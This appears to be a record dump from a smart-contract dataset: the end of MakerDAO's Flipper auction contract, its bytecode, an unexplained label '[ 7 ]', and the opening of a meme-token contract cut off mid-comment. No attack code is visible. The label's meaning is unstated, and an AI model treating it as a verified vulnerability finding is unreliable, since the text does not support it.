bytes32 public ilk; // collateral type uint256 constant ONE = 1.00E18; uint256 public beg = 1.05E18; // 5% minimum bid increase uint48 public ttl = 3 hours; // 3 hours bid duration [seconds] uint48 public tau = 2 days; // 2 days total auction length [seconds] uint256 public kicks = 0; CatLike public cat; // cat liquidation module // --- Events --- event Kick( uint256 id, uint256 lot, uint256 bid, uint256 tab, address indexed usr, address indexed gal ); // --- Init --- constructor(address vat_, address cat_, bytes32 ilk_) public { vat = VatLike(vat_); cat = CatLike(cat_); ilk = ilk_; wards[msg.sender] = 1; } // --- Math --- function add(uint48 x, uint48 y) internal pure returns (uint48 z) { require((z = x + y) >= x); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x); } // --- Admin --- function file(bytes32 what, uint256 data) external note auth { if (what == "beg") beg = data; else if (what == "ttl") ttl = uint48(data); else if (what == "tau") tau = uint48(data); else revert("Flipper/file-unrecognized-param"); } function file(bytes32 what, address data) external note auth { if (what == "cat") cat = CatLike(data); else revert("Flipper/file-unrecognized-param"); } // --- Auction --- function kick(address usr, address gal, uint256 tab, uint256 lot, uint256 bid) public auth returns (uint256 id) { require(kicks < uint256(-1), "Flipper/overflow"); id = ++kicks; bids[id].bid = bid; bids[id].lot = lot; bids[id].guy = msg.sender; // configurable?? bids[id].end = add(uint48(now), tau); bids[id].usr = usr; bids[id].gal = gal; bids[id].tab = tab; vat.flux(ilk, msg.sender, address(this), lot); emit Kick(id, lot, bid, tab, usr, gal); } function tick(uint256 id) external note { require(bids[id].end < now, "Flipper/not-finished"); require(bids[id].tic == 0, "Flipper/bid-already-placed"); bids[id].end = add(uint48(now), tau); } function tend(uint256 id, uint256 lot, uint256 bid) external note { require(bids[id].guy != address(0), "Flipper/guy-not-set"); require(bids[id].tic > now || bids[id].tic == 0, "Flipper/already-finished-tic"); require(bids[id].end > now, "Flipper/already-finished-end"); require(lot == bids[id].lot, "Flipper/lot-not-matching"); require(bid <= bids[id].tab, "Flipper/higher-than-tab"); require(bid > bids[id].bid, "Flipper/bid-not-higher"); require(mul(bid, ONE) >= mul(beg, bids[id].bid) || bid == bids[id].tab, "Flipper/insufficient-increase"); if (msg.sender != bids[id].guy) { vat.move(msg.sender, bids[id].guy, bids[id].bid); bids[id].guy = msg.sender; } vat.move(msg.sender, bids[id].gal, bid - bids[id].bid); bids[id].bid = bid; bids[id].tic = add(uint48(now), ttl); } function dent(uint256 id, uint256 lot, uint256 bid) external note { require(bids[id].guy != address(0), "Flipper/guy-not-set"); require(bids[id].tic > now || bids[id].tic == 0, "Flipper/already-finished-tic"); require(bids[id].end > now, "Flipper/already-finished-end"); require(bid == bids[id].bid, "Flipper/not-matching-bid"); require(bid == bids[id].tab, "Flipper/tend-not-finished"); require(lot < bids[id].lot, "Flipper/lot-not-lower"); require(mul(beg, lot) <= mul(bids[id].lot, ONE), "Flipper/insufficient-decrease"); if (msg.sender != bids[id].guy) { vat.move(msg.sender, bids[id].guy, bid); bids[id].guy = msg.sender; } vat.flux(ilk, address(this), bids[id].usr, bids[id].lot - lot); bids[id].lot = lot; bids[id].tic = add(uint48(now), ttl); } function deal(uint256 id) external note { require(bids[id].tic != 0 && (bids[id].tic < now || bids[id].end < now), "Flipper/not-finished"); cat.claw(bids[id].tab); vat.flux(ilk, address(this), bids[id].guy, bids[id].lot); delete bids[id]; } function yank(uint256 id) external note auth { require(bids[id].guy != address(0), "Flipper/guy-not-set"); require(bids[id].bid < bids[id].tab, "Flipper/already-dent-phase"); cat.claw(bids[id].tab); vat.flux(ilk, address(this), msg.sender, bids[id].lot); vat.move(msg.sender, bids[id].guy, bids[id].bid); delete bids[id]; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c80637d780d82116100ad578063cfc4af5511610071578063cfc4af551461057f578063cfdd3302146105ad578063d4e8be83146105cb578063e488181314610619578063fc7b6aee1461066357610121565b80637d780d82146104795780639c52a7f114610497578063bf353dbb146104db578063c5ce281e14610533578063c959c42b1461055157610121565b80634423c5f1116100f45780634423c5f11461026c5780634b43ed12146103835780634e8b1dd5146103c55780635ff3a382146103f357806365fae35e1461043557610121565b806326e027f11461012657806329ae811414610154578063351de6001461018c57806336569e7714610222575b600080fd5b6101526004803603602081101561013c57600080fd5b8101908080359060200190929190505050610691565b005b61018a6004803603604081101561016a57600080fd5b810190808035906020019092919080359060200190929190505050610cc3565b005b61020c600480360360a08110156101a257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190505050610ef6565b6040518082815260200191505060405180910390f35b61022a61137f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102986004803603602081101561028257600080fd5b81019080803590602001909291905050506113a5565b604051808981526020018881526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018665ffffffffffff1665ffffffffffff1681526020018565ffffffffffff1665ffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019850505050505050505060405180910390f35b6103c36004803603606081101561039957600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611471565b005b6103cd611d25565b604051808265ffffffffffff1665ffffffffffff16815260200191505060405180910390f35b6104336004803603606081101561040957600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611d3d565b005b6104776004803603602081101561044b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125c4565b005b6104816126f2565b6040518082815260200191505060405180910390f35b6104d9600480360360208110156104ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126f8565b005b61051d600480360360208110156104f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612826565b6040518082815260200191505060405180910390f35b61053b61283e565b6040518082815260200191505060405180910390f35b61057d6004803603602081101561056757600080fd5b8101908080359060200190929190505050612844565b005b610587612c59565b604051808265ffffffffffff1665ffffffffffff16815260200191505060405180910390f35b6105b5612c71565b6040518082815260200191505060405180910390f35b610617600480360360408110156105e157600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c77565b005b610621612e3e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61068f6004803603602081101561067957600080fd5b8101908080359060200190929190505050612e64565b005b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610745576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f466c69707065722f6e6f742d617574686f72697a65640000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166001600083815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561081e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f466c69707065722f6775792d6e6f742d7365740000000000000000000000000081525060200191505060405180910390fd5b60016000828152602001908152602001600020600501546001600083815260200190815260200160002060000154106108bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f466c69707065722f616c72656164792d64656e742d706861736500000000000081525060200191505060405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e66d279b60016000848152602001908152602001600020600501546040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561094a57600080fd5b505af115801561095e573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636111be2e600354303360016000878152602001908152602001600020600101546040518563ffffffff1660e01b8152600401808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b158015610a5f57600080fd5b505af1158015610a73573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bb35783b336001600085815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016000868152602001908152602001600020600001546040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610ba057600080fd5b505af1158015610bb4573d6000803e3d6000fd5b505050506001600082815260200190815260200160002060008082016000905560018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160146101000a81549065ffffffffffff021916905560028201601a6101000a81549065ffffffffffff02191690556003820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556004820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600582016000905550505961012081016040526020815260e0602082015260e0600060408301376024356004353360003560e01c60e01b61012085a45050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610d77576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f466c69707065722f6e6f742d617574686f72697a65640000000000000000000081525060200191505060405180910390fd5b7f6265670000000000000000000000000000000000000000000000000000000000821415610dab5780600481905550610ebf565b7f74746c0000000000000000000000000000000000000000000000000000000000821415610dfd5780600560006101000a81548165ffffffffffff021916908365ffffffffffff160217905550610ebe565b7f7461750000000000000000000000000000000000000000000000000000000000821415610e4f5780600560066101000a81548165ffffffffffff021916908365ffffffffffff160217905550610ebd565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f466c69707065722f66696c652d756e7265636f676e697a65642d706172616d0081525060200191505060405180910390fd5b5b5b5961012081016040526020815260e0602082015260e0600060408301376024356004353360003560e01c60e01b61012085a4505050565b600060016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610fac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f466c69707065722f6e6f742d617574686f72697a65640000000000000000000081525060200191505060405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60065410611043576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f466c69707065722f6f766572666c6f770000000000000000000000000000000081525060200191505060405180910390fd5b6006600081546001019190508190559050816001600083815260200190815260200160002060000181905550826001600083815260200190815260200160002060010181905550336001600083815260200190815260200160002060020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506110fd42600560069054906101000a900465ffffffffffff1661303b565b60016000838152602001908152602001600020600201601a6101000a81548165ffffffffffff021916908365ffffffffffff160217905550856001600083815260200190815260200160002060030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550846001600083815260200190815260200160002060040160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550836001600083815260200190815260200160002060050181905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636111be2e6003543330876040518563ffffffff1660e01b8152600401808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b1580156112e157600080fd5b505af11580156112f5573d6000803e3d6000fd5b505050508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fc84ce3a1172f0dec3173f04caaa6005151a4bfe40d4c9f3ea28dba5f719b2a7a838686896040518085815260200184815260200183815260200182815260200194505050505060405180910390a395945050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016020528060005260406000206000915090508060000154908060010154908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020160149054906101000a900465ffffffffffff169080600201601a9054906101000a900465ffffffffffff16908060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060050154905088565b600073ffffffffffffffffffffffffffffffffffffffff166001600085815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561154a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f466c69707065722f6775792d6e6f742d7365740000000000000000000000000081525060200191505060405180910390fd5b426001600085815260200190815260200160002060020160149054906101000a900465ffffffffffff1665ffffffffffff1611806115b8575060006001600085815260200190815260200160002060020160149054906101000a900465ffffffffffff1665ffffffffffff16145b61162a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f466c69707065722f616c72656164792d66696e69736865642d7469630000000081525060200191505060405180910390fd5b4260016000858152602001908152602001600020600201601a9054906101000a900465ffffffffffff1665ffffffffffff16116116cf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f466c69707065722f616c72656164792d66696e69736865642d656e640000000081525060200191505060405180910390fd5b6001600084815260200190815260200160002060010154821461175a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f466c69707065722f6c6f742d6e6f742d6d61746368696e67000000000000000081525060200191505060405180910390fd5b60016000848152602001908152602001600020600501548111156117e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f466c69707065722f6869676865722d7468616e2d74616200000000000000000081525060200191505060405180910390fd5b60016000848152602001908152602001600020600001548111611871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f466c69707065722f6269642d6e6f742d6869676865720000000000000000000081525060200191505060405180910390fd5b6118936004546001600086815260200190815260200160002060000154613065565b6118a582670de0b6b3a7640000613065565b1015806118c75750600160008481526020019081526020016000206005015481145b611939576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f466c69707065722f696e73756666696369656e742d696e63726561736500000081525060200191505060405180910390fd5b6001600084815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b3957600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bb35783b336001600087815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016000888152602001908152602001600020600001546040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015611acb57600080fd5b505af1158015611adf573d6000803e3d6000fd5b50505050336001600085815260200190815260200160002060020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bb35783b336001600087815260200190815260200160002060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160008881526020019081526020016000206000015485036040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015611c6457600080fd5b505af1158015611c78573d6000803e3d6000fd5b50505050806001600085815260200190815260200160002060000181905550611cb542600560009054906101000a900465ffffffffffff1661303b565b6001600085815260200190815260200160002060020160146101000a81548165ffffffffffff021916908365ffffffffffff1602179055505961012081016040526020815260e0602082015260e0600060408301376024356004353360003560e01c60e01b61012085a450505050565b600560009054906101000a900465ffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff166001600085815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611e16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f466c69707065722f6775792d6e6f742d7365740000000000000000000000000081525060200191505060405180910390fd5b426001600085815260200190815260200160002060020160149054906101000a900465ffffffffffff1665ffffffffffff161180611e84575060006001600085815260200190815260200160002060020160149054906101000a900465ffffffffffff1665ffffffffffff16145b611ef6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f466c69707065722f616c72656164792d66696e69736865642d7469630000000081525060200191505060405180910390fd5b4260016000858152602001908152602001600020600201601a9054906101000a900465ffffffffffff1665ffffffffffff1611611f9b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f466c69707065722f616c72656164792d66696e69736865642d656e640000000081525060200191505060405180910390fd5b60016000848152602001908152602001600020600001548114612026576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f466c69707065722f6e6f742d6d61746368696e672d626964000000000000000081525060200191505060405180910390fd5b600160008481526020019081526020016000206005015481146120b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f466c69707065722f74656e642d6e6f742d66696e69736865640000000000000081525060200191505060405180910390fd5b6001600084815260200190815260200160002060010154821061213c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f466c69707065722f6c6f742d6e6f742d6c6f776572000000000000000000000081525060200191505060405180910390fd5b6121646001600085815260200190815260200160002060010154670de0b6b3a7640000613065565b61217060045484613065565b11156121e4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f466c69707065722f696e73756666696369656e742d646563726561736500000081525060200191505060405180910390fd5b6001600084815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146123ce57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bb35783b336001600087815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561236057600080fd5b505af1158015612374573d6000803e3d6000fd5b50505050336001600085815260200190815260200160002060020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636111be2e600354306001600088815260200190815260200160002060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686600160008a815260200190815260200160002060010154036040518563ffffffff1660e01b8152600401808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b15801561250357600080fd5b505af1158015612517573d6000803e3d6000fd5b5050505081600160008581526020019081526020016000206001018190555061255442600560009054906101000a900465ffffffffffff1661303b565b6001600085815260200190815260200160002060020160146101000a81548165ffffffffffff021916908365ffffffffffff1602179055505961012081016040526020815260e0602082015260e0600060408301376024356004353360003560e01c60e01b61012085a450505050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612678576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f466c69707065722f6e6f742d617574686f72697a65640000000000000000000081525060200191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505961012081016040526020815260e0602082015260e0600060408301376024356004353360003560e01c60e01b61012085a45050565b60045481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146127ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f466c69707065722f6e6f742d617574686f72697a65640000000000000000000081525060200191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505961012081016040526020815260e0602082015260e0600060408301376024356004353360003560e01c60e01b61012085a45050565b60006020528060005260406000206000915090505481565b60035481565b60006001600083815260200190815260200160002060020160149054906101000a900465ffffffffffff1665ffffffffffff16141580156128ee5750426001600083815260200190815260200160002060020160149054906101000a900465ffffffffffff1665ffffffffffff1610806128ed57504260016000838152602001908152602001600020600201601a9054906101000a900465ffffffffffff1665ffffffffffff16105b5b612960576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f466c69707065722f6e6f742d66696e697368656400000000000000000000000081525060200191505060405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e66d279b60016000848152602001908152602001600020600501546040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156129eb57600080fd5b505af11580156129ff573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636111be2e600354306001600086815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016000878152602001908152602001600020600101546040518563ffffffff1660e01b8152600401808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b158015612b3657600080fd5b505af1158015612b4a573d6000803e3d6000fd5b505050506001600082815260200190815260200160002060008082016000905560018201600090556002820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160146101000a81549065ffffffffffff021916905560028201601a6101000a81549065ffffffffffff02191690556003820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556004820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600582016000905550505961012081016040526020815260e0602082015260e0600060408301376024356004353360003560e01c60e01b61012085a45050565b600560069054906101000a900465ffffffffffff1681565b60065481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612d2b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f466c69707065722f6e6f742d617574686f72697a65640000000000000000000081525060200191505060405180910390fd5b7f6361740000000000000000000000000000000000000000000000000000000000821415612d995780600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612e07565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f466c69707065722f66696c652d756e7265636f676e697a65642d706172616d0081525060200191505060405180910390fd5b5961012081016040526020815260e0602082015260e0600060408301376024356004353360003560e01c60e01b61012085a4505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b4260016000838152602001908152602001600020600201601a9054906101000a900465ffffffffffff1665ffffffffffff1610612f09576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f466c69707065722f6e6f742d66696e697368656400000000000000000000000081525060200191505060405180910390fd5b60006001600083815260200190815260200160002060020160149054906101000a900465ffffffffffff1665ffffffffffff1614612faf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f466c69707065722f6269642d616c72656164792d706c6163656400000000000081525060200191505060405180910390fd5b612fcd42600560069054906101000a900465ffffffffffff1661303b565b60016000838152602001908152602001600020600201601a6101000a81548165ffffffffffff021916908365ffffffffffff1602179055505961012081016040526020815260e0602082015260e0600060408301376024356004353360003560e01c60e01b61012085a45050565b60008265ffffffffffff1682840191508165ffffffffffff16101561305f57600080fd5b92915050565b600080821480613082575082828385029250828161307f57fe5b04145b61308b57600080fd5b9291505056fea265627a7a7231582093663ba43dedfa09aef4de625adb63616d22377dbe6e93b60f247eab6115a0d464736f6c634300050c0032
[ 7 ]
0xf328e72e471ae7c4329474baccda04972babde83
/** * * Yogi Bear Inu $YOGI a deflationary token generating a 2% passive yield with a price stabilizer feature. * Website: http://www.yogibearinu.com * Telegram: https://t.me/YogiBearInu * Twitter: https://www.twitter.com/YogiBearInu * */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * 